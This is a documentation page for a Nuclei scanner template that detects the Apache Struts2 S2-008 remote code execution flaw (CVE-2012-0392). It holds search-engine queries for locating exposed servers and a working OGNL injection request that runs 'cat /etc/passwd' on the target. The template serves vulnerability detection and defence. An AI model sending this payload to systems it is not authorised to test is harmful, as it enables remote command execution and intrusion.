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Apache Struts2 S2-008 RCE

ID: CVE-2012-0392

Severity: medium

Author: pikpikcu

Tags: cve,cve2012,apache,rce,struts,java,edb

Description

Section titled “Description”

The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.

YAML Source

Section titled “YAML Source”
id: CVE-2012-0392


info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: medium
  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to at least Struts 2.3.18.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545
    - http://www.exploit-db.com/exploits/18329
    - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
    - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
    - http://struts.apache.org/2.x/docs/s2-008.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0392
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.96232
    epss-percentile: 0.99521
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,apache,rce,struts,java,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a00463044022014b6215bb6027d89f02d720aff523bc8283cc2be315db8e799ee3cdb2a2dd7500220532c3b1142ab2b5b1567bde07b65985462b13093df02c6105fccfedf945b5cf5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0392.yaml"

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